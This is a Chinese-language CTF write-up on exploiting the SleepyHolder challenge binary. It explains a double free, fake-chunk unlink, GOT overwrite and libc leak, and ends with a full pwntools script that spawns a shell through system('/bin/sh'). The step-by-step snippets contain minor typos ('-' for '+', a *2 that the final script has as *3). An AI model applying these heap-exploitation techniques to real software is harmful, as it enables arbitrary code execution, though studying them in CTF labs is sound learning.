本来这周准备学习
House_Of_Orange
, 但是这个牵扯知识点太多. 忽然发现还有一个fastbin_dup_consolidate
没有学习, 补一下.
1. MENU
1. Keep secret
2. Wipe secret
3. Renew secret
2. Keep secret(New)
1. Small secret
2. Big secret
3. Keep a huge secret and lock it forever
1
Tell me your secret:
hello, world
#另外两个选项类似, 只是分配的堆空间大小不同
3.Wipe secret(Delete)
Which Secret do you want to wipe?
1. Small secret
2. Big secret
1
4. Renew secret(Update)
Which Secret do you want to renew?
1. Small secret
2. Big secret
1
Tell me your secret:
AAAA
1. Keep Secret(New)
可以选择申请
40, 4000, 40000
三种不同大小的堆块. 当申请大小超过top chunk size
,ptmalloc
会整合一些fastbin
中的free chunk
并入top chunk
, 如果还不够就mmap
一块新的chunk
,这个chunk
与原有的top chunk
之间采用单链表链接.
2. Wipe Secret(Delete)
free
对应的指针, 标志位置0
3. Renew Secret(Update)
不检查指针是否已释放, 造成
Double Free
Double Free
Unlink
总体思路: Double Free
掉small secret
, 在small secret
中构造fake chunk
, 释放big secret
, big secret
会和fake chunk
合并, 过程中我们用unlink
来修改全局指针变量s_ptr
. 通过将其修改为free@got
, 修改free@got
为put@plt
, 泄露libc 地址
, 再将其修改为system
地址, free "/bin/sh"
时就等于执行了system("/bin/sh")
步骤一: Double Free
add(1, 'aaa') #small secret
add(2, 'bbb') #big secret
delete(1) ------------------
add(3, 'ccc') #huge secret |--------> Double Free
delete(1) ------------------
步骤二: Fake Chunk
f_ptr = 0x6020d0
fake_chunk = p64(0) + p64(0x21)
fake_chunk += p64(f_ptr - 0x18) - p64(f_ptr - 0x10)
fake_chunk += p64(0x20)
add(1, fake_chunk)
delete(2) #unlink
小结: Unlink栗子
步骤三: 泄露
content = p64(0) + p64(atoi_got)
content += p64(puts_got) + p64(free_got) + p32(0x1)*2
update(1, content) #f_ptr = free_got
update(1, p64(puts_plt)) #free_got = puts_plt
delete(2) #puts(atoi)
libc_base = u64(p.recvn(6).ljust(8, "\x00")) - atoi_offset
system = libc_base + system_offset
步骤四: system(“/bin/sh”)
update(1, p64(system))
add(2, "/bin/sh\x00")
delete(2) #system("/bin/sh")
对于
read
函数, pwntools发送的时候最好不用sendline
, 尽量使用发送足量的字符来结束输入. 就像本题, 如果将add, delete, update
函数中p.send
改成p.sendline
, 那么会出错.泄露
libc base
地址:
- 泄露
libc
中某一个函数的地址, 减去对应函数在libc
中的偏移量就可以得到libc base
- free掉一个
0x80
或大于0x80
的chunk
, 泄露出该地址, 减去0x3c4b78
, 也是libc base
(libc
的基地址)
from pwn import *
context.log_level = 'debug'
p = process("./SleepyHolder")
elf = ELF("./SleepyHolder")
libc = ELF("./libc.so.6")
def add(index, content):
p.recvuntil("Renew secret\n")
p.sendline("1")
p.recvuntil("\n")
p.sendline(str(index))
p.recvuntil("secret: \n")
p.send(content)
def delete(index):
p.recvuntil("3. Renew secret\n")
p.sendline("2")
p.recvuntil("Big secret\n")
p.send(str(index))
def update(index, content):
p.recvuntil("Renew secret\n")
p.sendline("3")
p.recvuntil("Big secret\n")
p.sendline(str(index))
p.recvuntil("secret: \n")
p.send(content)
# Double Free
add(1, 'aaa')
add(2, 'bbb')
delete(1)
add(3, 'ccc')
delete(1)
#Fake Chunk
f_ptr = 0x6020d0
s_ptr = 0x6020c0
fake_chunk = p64(0) + p64(0x21)
fake_chunk += p64(0x6020d0-0x18) + p64(0x6020d0-0x10)
fake_chunk += p64(0x20)
add(1, fake_chunk)
delete(2)
#gdb.attach(p)
#leak libc base
free_got = elf.got['free']
atoi_got = elf.got['atoi']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
system_offset = libc.symbols['system']
atoi_offset = libc.symbols['atoi']
#gdb.attach(p)
content = p64(0) + p64(atoi_got)
content += p64(puts_got) + p64(free_got) + p32(0x1)*3
update(1, content)
update(1, p64(puts_plt))
#update
delete(2)
libc_base = u64(p.recvn(6).ljust(8, "\x00")) - atoi_offset
system = libc_base + system_offset
update(1, p64(system))
add(2, "/bin/sh\x00")
delete(2)
p.interactive()
Isaac
0x9A82
相关文件下载